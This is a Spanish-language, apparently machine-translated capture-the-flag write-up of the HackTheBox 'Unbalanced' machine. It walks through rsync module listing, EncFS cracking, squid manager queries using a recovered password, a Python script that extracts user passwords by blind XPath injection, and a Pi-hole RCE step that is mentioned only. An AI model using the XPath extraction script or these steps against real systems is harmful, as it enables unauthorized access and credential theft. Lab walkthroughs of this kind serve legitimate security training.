HackTheBox. Tutorial desequilibrado. Rsync, EncFS, Squid, inyección XPath y RCE en Pi-hole







Sigo publicando soluciones enviadas a la finalización de máquinas desde el sitio HackTheBox .



En este artículo, nos ocupamos de la copia de seguridad en rsync, adivinamos la contraseña de EncFS, trabajamos con el servidor proxy squid, explotamos la inyección XPath y explotamos RCE en Pi-hole.



Información organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.200, que agrego a / etc / hosts.



10.10.10.200 	unbalanced.htb
      
      





El primer paso es escanear los puertos abiertos. Hago esto usando el siguiente script, que toma un argumento: la dirección del host que se escanea:



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      









Y observamos los servicios proxy SSH, rsync y squid. Rsync es un programa para sistemas similares a UNIX que sincroniza archivos y directorios en dos ubicaciones mientras minimiza el tráfico. Rsync puede copiar o mostrar el contenido del directorio y copiar archivos, opcionalmente usando compresión y recursividad.



Veamos la lista de módulos disponibles.



rsync --list-only rsync://unbalanced.htb:873
      
      









Copie conf_backups.



rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups
      
      









Por la presencia del archivo .encfs6.xml, entendemos que se trata de un volumen cifrado EncFS. Consigamos un hash de la contraseña.







Y solucionémoslo.







Así, obtenemos la contraseña con la que se realizó el cifrado. Queda por montar la partición.







Y obtenemos una lista normal de archivos.







Estos son principalmente archivos de configuración, y lo que más nos interesa es squid.conf. Veamos todas las líneas sin comentar.



cat squid.conf | grep -v '^#' | uniq
      
      













Guardamos la contraseña y marcamos el nuevo nombre de dominio, que añadimos a / etc / hosts. También miramos las ACL.



10.10.10.200    intranet.unbalanced.htb
      
      





Instalemos un proxy en el navegador y usemos el nombre de dominio encontrado para contactar al servidor web.







Nos recibe un formulario de autorización. Después de pasar un tiempo con ella, se decidió seguir trabajando con calamares.



Punto de entrada



Echemos un vistazo a las opciones disponibles.



squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'
      
      









Y podemos encontrar más nombres de dominio.



squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
      
      









Y hay tres nombres más. Los añadimos a / etc / hosts (este último fue elegido lógicamente).



172.31.179.2    intranet-host2.unbalanced.htb 
172.31.179.3    intranet-host3.unbalanced.htb
172.31.179.1    intranet.unbalanced.htb
      
      





Y al principio vemos que este sitio es una solución temporal.







Luego llegamos al mismo formulario de autorización.



USUARIO



Lo probamos nuevamente y obtenemos una respuesta a la solicitud 'o' '='.











Y obtenemos una lista de usuarios. Esta es la inyección XPath. El hecho es que con la ayuda de determinadas consultas podemos averiguar las contraseñas de los usuarios para los nombres de pila.



Entonces, para empezar, puede determinar la longitud de la contraseña usando la función string-length. Prueba al iniciar sesión. Sabemos que la longitud correcta es 5, pruebe la condición con 4 y con 5 y vea la diferencia.











La diferencia es visible. Después de determinar la longitud, podemos obtener la contraseña un carácter a la vez. También probamos en el inicio de sesión. Tome la primera letra y compárela con 'a' y luego con 'b'.











La diferencia también es visible. Escribamos un código que clasifique todas las contraseñas para cada inicio de sesión de manera similar.



import requests
import string

url = 'http://172.31.179.1/intranet.php'
proxies = {'http':'http://10.10.10.200:3128'}
users = ['bryan','sarah', 'jim', 'rita']

pass_str_len = "' or Username='USER' and string-length(Password)='"
pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"

for user in users:
    for l in range(1,25):
        data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }
        request = requests.post(url=url, data=data, proxies=proxies)
        print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")
        if 'Invalid credentials.' not in request.text:
            passwd = ''
            for num in range(l):
                for c in string.printable[:94]:
                    data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }
                    request = requests.post(url=url, data=data, proxies=proxies)
                    print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')
                    if 'Invalid credentials.' not in request.text:
                        passwd += c
                        break
            print(user +" : "+ passwd + " "*10)
            break
      
      









Y el primer usuario tiene acceso SSH con la contraseña encontrada.







RAÍZ



Busque la lista TODO en el directorio de inicio del usuario.







Y podemos ver que las tareas relacionadas con Pi-hole (contraseña de administrador) aún no se han completado. Pero no fue posible ver los puertos abiertos, ya que falta netstat. Entonces puedes usar este script .







Están abiertos los puertos 8080 y 5553.











Y en la respuesta encontramos otro dominio y la IP correspondiente. Dejemos el puerto y revisemos el navegador.



ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb
      
      









Vaya a la página e inicie sesión con la contraseña admin. En la parte inferior vemos la versión.







Veamos las hazañas.











Iniciemos el oyente y ejecutemos el exploit.











Veamos los archivos raíz y busquemos el script mencionado en la lista TODO.











Contiene una contraseña.







Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, informes, cursos filtrados y software. Reunamos una comunidad en la que haya personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos mutuamente en cualquier tema de TI y seguridad de la información.



All Articles